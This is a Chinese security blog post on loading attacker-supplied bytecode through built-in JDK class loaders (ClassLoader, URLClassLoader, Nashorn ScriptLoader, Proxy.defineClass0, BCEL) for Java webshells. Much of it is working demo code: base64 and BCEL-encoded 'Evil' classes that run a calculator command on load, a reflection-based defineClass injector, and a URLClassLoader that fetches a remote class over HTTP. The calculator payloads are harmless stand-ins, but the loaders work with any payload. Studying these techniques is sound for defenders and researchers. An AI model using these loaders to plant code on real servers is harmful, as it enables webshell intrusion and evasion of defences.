美文网首页
Java WebShell2—Java类加载利用

Java WebShell2—Java类加载利用

作者: AxisX | 来源:发表于2022-04-07 15:04 被阅读0次

这篇文章讲讲类加载的一些方式,用到的类都是JDK自带的,第三方的类没有放到这篇文章中。另外涉及到反序列化中常见利用类的也准备放到后续文章中。

// 类加载
(1)java.langClassLoader #loadClass #findClass #defineClass(自定义类加载)
(2)java.net.URLClassLoader #newInstance #loadClass
(3)jdk.nashorn.internal.runtime.ScriptLoader #installClass
(4)java.lang.reflect.Proxy #defineClass0
(5)com.sun.org.apache.bcel.internal.util.ClassLoader #loadClass
(6)com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (放在后面的反序列化文章中吧)

(1)ClassLoader

ClassLoader直译就是类加载器,将Class文件加载到JVM中。ClassLoader是所有类的基类,每个Class对象都包含了一个定义它的ClassLoader的引用。

ClassLoader主要包括三个方法:loadClass、findClass、defineClass

loadClass:根据binary name加载Class,如果目标类没被加载过调用父类加载器
findClass:根据binary name查找Class位置,获取字节码数组
defineClass:将字节码加载到JVM,转换为Class对象。defineClass获得的对象需要进行resolve才算完成实例化,或者用newInstance创建

ClassLoader #loadClass

protected Class<?> loadClass(String name, boolean resolve) {
    Class<?> c = findLoadedClass(name);  //此class是否被加载过
    if (c == null) {
        if (parent != null) {
            c = parent.loadClass(name, false);   //父加载器加载,双亲委派结构由下至上:AppClassLoader、ExtClassLoader、BootstrapClassLoader
        }
        if (c == null) {
            c = findClass(name);    //将class加载到内存
        }
    }
    return c;
}

ClassLoader可以加载类,Class.forName()也可以,因为它根本上也是调用的ClassLoader,区别在于Class.forName()会默认对类进行初始化(执行static代码块),而ClassLoader.loadClass()默认不进行初始化,只将类加载到JVM。

    public static Class<?> forName(Module module, String name) {
        ...
        ClassLoader cl;
        SecurityManager sm = System.getSecurityManager();
        if (sm != null) {
            Class<?> caller = Reflection.getCallerClass();  // 其他同名forName方法可以指定ClassLoader
            ...
        } else {
            cl = module.getClassLoader();
        }

        if (cl != null) {
            return cl.loadClass(module, name);
        } else {
            return BootLoader.loadClass(module, name);
        }
    }

ClassLoader #defineClass

defineClass可以将字节码byte[]解析成Class对象,但是所有的defineClass都是protected的,所以无法在外部调用。想要使用只有两种方式:(1)继承自ClassLoader,在子类中调用父类的defineClass(2)反射调用。defineClass也是冰蝎的思路

public class ClassLoadTest {
    public static void main(String[] args) throws IOException, IllegalAccessException, InstantiationException {
        // 恶意类的base64编码
        String cmdb64="yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxFdmlsOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAIQEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAsADAcAJAwAJQAmAQAIRXZpbCBydW4HACcMACgAKQcAKgwAKwAsAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAtAC4BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAAAQAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABXAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAASAAQAAAAEAAgABQARAAYAFQAHAA8AAAACAAAAEwAAAAcAAlQHABQAAAEAFQAAAAIAFg==";
        BASE64Decoder decoder=new sun.misc.BASE64Decoder();
        new U(ClassLoadTest.class.getClassLoader()).g(decoder.decodeBuffer(cmdb64)).newInstance();
    }

    public static class U extends ClassLoader{
        U(ClassLoader c){
            super(c);
        }

        public Class g(byte []bytes){
            return super.defineClass(bytes,0,bytes.length);
        }
    }
}

ClassLoader #findClass

自定义ClassLoader时需要重写findClass

public class findClassTest {
    public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException {
        new ClassLoader(){
            @Override
            public Class<?> loadClass(String name) throws ClassNotFoundException {
                if (name.contains("Evil")){
                    return findClass(name);
                }
                return super.loadClass(name);
            }

            @Override
            protected Class<?> findClass(String name) throws ClassNotFoundException {
                try{
                    String cmdb64="yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxFdmlsOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAIQEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAsADAcAJAwAJQAmAQAIRXZpbCBydW4HACcMACgAKQcAKgwAKwAsAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAtAC4BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAAAQAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABXAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAASAAQAAAAEAAgABQARAAYAFQAHAA8AAAACAAAAEwAAAAcAAlQHABQAAAEAFQAAAAIAFg==";
                    BASE64Decoder decoder=new sun.misc.BASE64Decoder();
                    byte[] bytes=decoder.decodeBuffer(cmdb64);
                    PermissionCollection permissionCollection=new Permissions();
                    permissionCollection.add(new AllPermission());
                    ProtectionDomain protectionDomain=new ProtectionDomain(new CodeSource(null, (Certificate[])null),permissionCollection,this,null);
                    return this.defineClass(name,bytes,0,bytes.length,protectionDomain);
                }catch (Exception e){e.printStackTrace();}
                return super.findClass(name);
            }
        }.loadClass("Evil").newInstance();
    }
}

上述两个demo中用到的恶意类如下


Evil类

Java类加载机制结构从上至下为:ClassLoader -> SecureClassLoader -> URLClassLoader-> ExtClassLoader | AppClassLoader | ...。三种父加载器代表的加载路径如下

BootstrapClassLoader:{jdk}/lib 或 -Xbootclasspath  (识别的一般为java、javax、sun等开头的)
ExtClassLoader:{jdk}/lib/ext 或  -Djava.ext.dir
AppClassLoader:java -classpath 或 -D java.class.path (应用程序的classpath路径)

(2)URLClassLoader

URLClassLoader是类加载器的一个子类,用于从jar文件和URL来加载类和资源。想要实现自定义ClassLoader一般也要先继承URLClassLoaderExtClassLaoder、AppClassLoader 都是URLClassLaoder子类)。URLClassLoader重写了findClass方法,实现了在指定路径下查找class文件并加载到内存

protected Class<?> findClass(final String name) {
    final Class<?> result;
    String path = name.replace('.', '/').concat(".class");  //name代表类的全限定名
    Resource res = ucp.getResource(path, false);   //ucp:URL[] 封装,在URL[] 路径列表里查找要装载的类
    if (res != null) {
        try {
            return defineClass(name, res);  //将类装在jvm内存
        } ...
    return result;
}

URLClassLoader有多种构造器,但至少需要传入URL[]参数,它代表了类所在的路径,这个路径可以是文件、jar、流等。解析一下URL类

URL解析

URL构造方法也很多,看一下最有代表性的

public URL(String protocol, String host, int port, String file, URLStreamHandler handler) throws MalformedURLException {
    protocol = protocol.toLowerCase();
    this.protocol = protocol;
    if (host.indexOf(':') >= 0 && !host.startsWith("[")) {
        host = "["+host+"]";
    }
    this.host = host;
    handler = getURLStreamHandler(protocol)  // handler不能为Null

跟进一下getURLStreamHandler方法,根据传入的protocol会调用sun.net.protocol.xxx.Handlerxxx即为传入的protocol。

static URLStreamHandler getURLStreamHandler(String protocol) {
    packagePrefixList += "sun.net.www.protocol";
    StringTokenizer packagePrefixIter = new StringTokenizer(packagePrefixList, "|");
    String packagePrefix = packagePrefixIter.nextToken().trim();
    try {
        String clsName = packagePrefix + "." + protocol + ".Handler";
        Class<?> cls = null;
        try {
            cls = Class.forName(clsName);
        } catch (ClassNotFoundException e) {
            ClassLoader cl = ClassLoader.getSystemClassLoader();
            if (cl != null) {
                cls = cl.loadClass(clsName);
            }
        }
        if (cls != null) {
            handler  = (URLStreamHandler)cls.newInstance();
        }
    }

对于不同的协议都有各自的Handler实现,支持的协议如下,那么URLClassLoader类加载的方式也相应的有很多


sun.net.protocol.xxx.Handler

URLClassLoader用法

http协议加载恶意类

// #1
URL[] urls = {new URL("http://localhost:8000/xxx")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
// #2
URLClassLoader loader=new URLClassLoader(new URL[]{new URL("http://localhost:8000/xxx")});

Class c = loader.loadClass("Evil");
Method f = c.getMethod("attack");
f.invoke(null, null);

file协议,既可以加载文件,也可以通过动态编译的方式来加载恶意类,这样可以避免使用字节码工具Javassist、ASM等对文件进行修改。

public static void main(String[] args) throws IOException {
        Path rootDirectory = FileSystems.getDefault().getPath("D:\\POC_Test\\src\\main\\java\\JavaExecTest");
        // 根据根目录rootDirectory创建文件夹
        String tmpPath= Files.createTempDirectory(rootDirectory,"axisx").toFile().getPath();
        int id=new Random().nextInt(100);
        // 将恶意文件的代码用字符串的形式拼接
        StringBuilder stringBuilder=new StringBuilder()
                .append("import java.io.IOException;\n")
                .append("public class axisx"+id+" {\n")
                .append("    public axisx"+id+"() throws IOException {\n")
                .append("        Runtime.getRuntime().exec(\"calc\");\n")
                .append("    }\n")
                .append("}\n");
        // 将恶意文件的代码写入到文件夹下的java文件
        Files.write(Paths.get(tmpPath+ File.separator+"axisx"+id+".java"),stringBuilder.toString().getBytes(StandardCharsets.UTF_8));
        /*
         * 动态编译部分
         */
        // 使用JavaCompiler动态编译源程序
        JavaCompiler javaCompiler= ToolProvider.getSystemJavaCompiler();
        // 收集诊断信息(编译过程中产生的问题)
        DiagnosticCollector<JavaFileObject> diagnosticCollector=new DiagnosticCollector<>();
        // JavaFileManager用来创建JavaFileObject
        StandardJavaFileManager standardJavaFileManager=javaCompiler.getStandardFileManager(diagnosticCollector, Locale.CHINA, Charset.forName("UTF-8"));
        Iterable fileObject=standardJavaFileManager.getJavaFileObjects(tmpPath+File.separator+"axisx"+id+".java");
        // 构建编译器任务
        javaCompiler.getTask(null,standardJavaFileManager,diagnosticCollector,null,null,fileObject).call();
        try{
            new URLClassLoader(new URL[]{new URL("file:"+tmpPath+File.separator)}).loadClass("axisx"+id).newInstance();
        }catch (Exception e){
            System.out.println("Something wrong");
        }
    }

所谓编译指的是将java源代码转换成class字节码的过程,JDK提供的API在javax.tools包中,基本用法看上述动态编译部分。

(3)ScriptLoader

jdk.nashorn.internal.runtime.ScriptLoader,看包的路径nashorn就知道这个和上一篇WebShell1中提到的JS命令执行相关。nashorn从JDK8开始引入

ScriptLoader
有了上面ClassLoader的基础,可以知道installClass可以用于加载字节码。另外这几个方法都是protected的,想要调用需要继承或反射。这里用反射来写。
public class ScriptLoadTest {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        // 获取ScriptLoader对象
        Class cls=Class.forName("jdk.nashorn.internal.runtime.ScriptLoader");
        Constructor constructor=cls.getDeclaredConstructor(Context.class);
        constructor.setAccessible(true);
        Object o=constructor.newInstance(new jdk.nashorn.internal.runtime.Context(new Options(""),null,null));
        // 执行installClass方法
        Method m1=cls.getDeclaredMethod("installClass", String.class, byte[].class, CodeSource.class);
        m1.setAccessible(true);
        String cmdb64="yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxFdmlsOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAIQEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAsADAcAJAwAJQAmAQAIRXZpbCBydW4HACcMACgAKQcAKgwAKwAsAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAtAC4BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAAAQAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABXAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAASAAQAAAAEAAgABQARAAYAFQAHAA8AAAACAAAAEwAAAAcAAlQHABQAAAEAFQAAAAIAFg==";
        BASE64Decoder decoder=new sun.misc.BASE64Decoder();
        Class E=(Class)m1.invoke(o,"Evil",decoder.decodeBuffer(cmdb64),new CodeSource(null,(Certificate[]) null));
        E.newInstance();
    }
}

(4)Proxy

java.lang.reflect.Proxy提供用于创建动态代理类和实例的静态方法。

代理

简单说一下代理。Java中的接口是不能被实例化的,需要先编写实现类,然后再实例化,这种叫做“静态”。demo如下

// 接口
public interface Hello {
    void morning(String name);
}
// 实现类
public class HelloWorld implements Hello {
    public void morning(String name) {
        System.out.println("Good morning, " + name);
    }
}
// 实例化
Hello hello = new HelloWorld();
hello.morning("Bob");

而动态代理(Dynamic Proxy)的机制则是可以在运行期动态创建某个interface的实例。Proxy.newProxyInstance()直接创建接口对象。

InvocationHandler handler = new InvocationHandler() { // InvocationHandler实例实现接口方法调用
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        if (method.getName().equals("morning")) {
            System.out.println("Good morning, " + args[0]);
        }
        return null;
    }
};
Hello hello = (Hello) Proxy.newProxyInstance( // 创建接口实例,类型转型为接口类型
    Hello.class.getClassLoader(), // 传入ClassLoader
    new Class[] { Hello.class }, // 传入要实现的接口
    handler); // 传入处理调用方法的InvocationHandler
hello.morning("AxisX");

我们看到上述Hello接口我们设置是public的,但是如果接口是非公共的,那代理类必须由接口的定义加载器定义。通过defineClass0方法定义生成的代理类。Proxy#defineClass0ClassLoader#defineClass用法类似

public class ProxyDefineTest {
    public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException {
        ClassLoader classLoader=ClassLoader.getSystemClassLoader();
        Method m1= Proxy.class.getDeclaredMethod("defineClass0", ClassLoader.class, String.class, byte[].class, int.class, int.class);
        m1.setAccessible(true);
        String cmdb64="yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxFdmlsOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAIQEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAsADAcAJAwAJQAmAQAIRXZpbCBydW4HACcMACgAKQcAKgwAKwAsAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAtAC4BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAAAQAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABXAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAASAAQAAAAEAAgABQARAAYAFQAHAA8AAAACAAAAEwAAAAcAAlQHABQAAAEAFQAAAAIAFg==";
        BASE64Decoder decoder=new sun.misc.BASE64Decoder();
        byte[] classBytes=decoder.decodeBuffer(cmdb64);
        String className="Evil";
        Class E=(Class) m1.invoke(null,classLoader,className,classBytes,0,classBytes.length);
        E.newInstance();
    }
}

(5)BCEL

BCEL中也有一个ClassLoader,com.sun.org.apache.bcel.internal.util.ClassLoader限制:JDK<8u251,这个JDK版本之后ClassLoader被取消了

BCEL全称Byte Code Engineering Library,翻译过来就是字节码工程库,用来操作Java类文件。它位于原生JDK,com.sun.org.apache.bcel。主要包含三个文件夹classfile、generic、util和Constants接口和Repository类(将类变为JavaClass对象)。

classfile:包含描述类文件的“静态”约束的类的包,即反映类文件格式并且不用于字节码修改。主要的数据结构称为 JavaClass,其中包含方法、字段等
        -JavaClass、Field、Method、Attribute、InnerClass、SourceFile、Code、ClassParser、ConstantPool
        ...
generic:用于动态生成或修改JavaClass或Method对象的包
        -Type、MethodGen、FieldGen、ClassGen、ConstantPoolGen、Instruction
        ...
util:各种代码示例和实用程序

常用的两个。Repository用于将一个Java Class先转换成原生字节码。Utility用于将原生的字节码转换成BCEL格式的字节码。

BECL很重要的一个应用就是作为类加载器。查看源码可以看到loadClass是从class_name中提取Class的字节数据

  private String[] ignored_packages = {
    "java.", "javax.", "sun."
  };

protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;

    /* First try: lookup hash table. */
    if((cl=(Class)classes.get(class_name)) == null) {
      /* Second try: Load system class using system class loader.*/
      for(int i=0; i < ignored_packages.length; i++) {
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name); //对于java. javax. sun.这些名字开头的包用系统的java.lang.ClassLoader加载
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;

        /* Third try: Special request?*/
        if(class_name.indexOf("$$BCEL$$") >= 0)
          // createClass源码见下方
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }...

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
        } else // Fourth try: Use default class loader
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);
    return cl;
  }

ClassLoader会根据$$BCEL$$来查找位置,该字符串之前的内容被认为是包名,之后的八个字符被认为是类名。decode是将读取的字符串转为字节数组,encode将字节数组转为字符串。

protected JavaClass createClass(String class_name) {
    int    index     = class_name.indexOf("$$BCEL$$");
    String real_name = class_name.substring(index + 8);
        ...
    byte[]      bytes  = Utility.decode(real_name, true);//decode

在源码中encode有这样的注释,字节码编码成字符串时,字符串只包含a~z,A~Z,0~9,_,$。如果当前字节的ASCII值已经是一个有效的Java标识符部分(这部分由JavaWriter实现),那么就让它保持原样。否则,它会将转义字符($)写在后面。

那么简单来说,在利用时,先将恶意类转换为BCEL字符串,然后利用BCEL的ClassLoader进行加载即可

public class BCELTest {
    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {
        Path path = Paths.get("/xxx/Evil.class");
        byte[] bytes = Files.readAllBytes(path);
        String code= Utility.encode(bytes,true);
        System.out.println(code);
        new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
    }
}

另外,在文章的最初提到过, Class.forName也可以用来加载类,只是它自带初始化,所以BCEL还可以利用Class.forName的方式来写,第二个参数代表是否初始化,第三个参数代表加载的ClassLoader(传入com.sun.org.apache.bcel.internal.util.ClassLoader即可)

        ClassLoader classLoader= new ClassLoader();
        String bcelCode="$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbn$T1$U$3dN$sq2L$a1$992$e5MSZhRhg$c3$$$V$9b$aal$Y$a0$oU$bbv$8c$V$5c$s$e3h$e2$a9$ca$X$b1$$$8b$82X$f0$B$7c$U$e2$da$94$3e$E$96$7c$af$ee9$f7$9c$eb$c7$cf_$df$7f$Ax$8e4D$88$5bm$dc$c6$9d$W$ee$86$b8$87$fb$n$k$e0a$LK$$w9$969$kq$ac04$b7t$a1$ed$L$86z$af$bf$cf$Ql$9b$f7$8a$e1F$a6$L$f5$a6$9a$8cT$b9$tF9$nqf$a4$c8$f7E$a9$5d$7d$G$G$f6$83$9e$91G$b6s$a4$f3$BCkK$e6gvsC$x$e4$c7$d7b$ea$5bi$mC84U$v$d5K$ed$a4m$t$d9$3c$UG$o$c25D$i$ab$R$k$e3$Jy8$a2$5bV$F$c7Z$84$k$fa$i$eb$R$9e$e2$Z$9d$c1LU$d1$dd$Q$ddm$91$cb$w$X$d6$94$R6$b0$c9$b0$e0$8c$d2$5c$U$e3t$e7X$aa$a9$d5$a6$a0$e39$x$86$f9$L$f2$ed$e8PI$7b$F$g$7e$9aY5$a1$fb$9b$8a$88$q$f3$8c6$e9n$a9$L$3b$b4$a5$S$93$c1$df$BWa$G$3euUN$a3$92$5ev$c9$d2$S$3c$k$b8$f7$ec$5c$a0$ef$aa$c2$ea$J$5d$3d$i$x$7b$5e$q$bd$7e$f6O$P$N$M$d4$b1$92$Mk$ff$f3$bd$E$ed$96F$aa$d9l$80e$b4$e9$cf$dd$aa$81$b9$X$a58GUJ$99Qn$ac$7f$F$3b$f1$f4u$8aM$P$d2GS$8c$fe4$60$k$j$ca$z$c4$e7$e2$Do$G$y$7eA$z$ae$9f$o$f8$86F$dc$3c$F$3f$f8$8c$e0$d5$89$e7$3a$b8I$9a$baw$8d$RP$M$a8n$Q$deD$C$ee$t$d4h$_$d0$e6$a8$edq$ea$ta$e2$e1$c5$dfb$c3$e7P$b3$C$A$A";
//        new ClassLoader().loadClass(bcelCode).newInstance();
        Class.forName(bcelCode,true,classLoader);

参考

https://zhuanlan.zhihu.com/p/183902092

相关文章

网友评论

      本文标题:Java WebShell2—Java类加载利用

      本文链接:https://www.haomeiwen.com/subject/myjtsrtx.html